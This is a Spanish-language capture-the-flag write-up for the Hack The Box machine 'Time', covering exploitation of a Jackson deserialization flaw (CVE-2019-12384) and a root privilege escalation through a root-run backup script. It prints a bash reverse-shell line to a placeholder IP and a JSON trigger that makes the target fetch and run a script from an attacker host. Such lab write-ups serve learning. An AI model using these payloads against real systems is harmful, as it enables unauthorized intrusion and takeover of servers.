Resolución de Time (WriteUp)
Time es una máquina Linux de Hack The Box cuya dificultad es “Medium”. Las instrucciones que se utilizan en esta resolución tienen en cuenta que estamos trabajando en un entorno controlado.
Resolución de Time (user.txt)
En primer lugar enumeramos los puertos abiertos:
Para posteriormente realizar un análisis, a través de nmap, de los servicios disponibles en dichos puertos:
A través del servicio web disponible en el puerto 80 revisamos el código fuente y realizamos una enumeración en busca de rutas de interés:
Pero no hay nada interesante en este aspecto.
Entramos en la web y vemos que tiene un adaptador y validador de JSON, indicando que el “Validator” está en fase Beta. Lo probamos y este devuelve un error desde el cual podemos obtener más información de la herramienta utilizada:
Buscamos vulnerabilidades relacionadas con Fasterxml Jackson: https://www.cvedetails.com/vulnerability-list/vendor_id-15866/product_id-42991/Fasterxml-Jackson-databind.html
Nos quedamos con la vulnerabilidad CVE-2019-12384 y buscamos información sobre su explotación, encontrando la siguiente forma de explotación que utilizaremos de base para poner en práctica: https://github.com/jas502n/CVE-2019-12384
En el fichero inject.sql editamos la llamada a la shell para introducir nuestra propia shell como una ejecución inliner de bash.
CALL SHELLEXEC(‘bash -i >& /dev/tcp/IP/PUERTO 0>&1’)
Este código, inject.sql, se encargará de establecer la conexión desde la víctima hacia nuestra máquina. Ahora debemos accionarlo. Para ello vamos a montar un servidor con SimpleHTTPServer de Python en local a través del puerto 8181 (por ejemplo) donde estará disponible el inject.sql.
Luego prepararemos un trigger que ejecute el script disponible en este servidor, de la siguiente forma como se indica en el GitHub explicando la vulnerabilidad:
["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://IP_ATACANTE:8181/inject.sql'"}]"
Nos ponemos a la escucha en nuestra máquina a través del puerto definido en inject.sql y, con el servidor activo y el puerto en escucha introducimos el trigger en la web:
De esta forma ya tenemos acceso a la máquina víctima con el usuario pericles, pudiendo acceder a la primera flag.
Resolución de Time (root.txt)
El análisis para buscar la escalada de privilegios en Linux podemos automatizarlo con scripts como LinEnum o LinPEAS, en este caso haciendo uso de LinPEAS vemos que nos devuelve una información aparentemente muy interesante sobre un script llamado timer_backup.sh:
El script crea un zip desde /var/www/html y lo mueve a root:
Como este script se ejecuta como root la idea será introducir un comando que agregue nuestra clave pública al authorized_keys de root para poder conectarnos por SSH.
Para ello, creamos en el servidor un fichero con nuestra clave pública (key.txt) e introducimos al final del script un comando con el que leer nuestra clave pública del fichero key.txt y la inserte al final del fichero authorized_keys:
Y utilizando la clave privada asociada a dicha clave pública ya podríamos acceder como root al servidor a través de SSH para visualizar la flag de root.txt: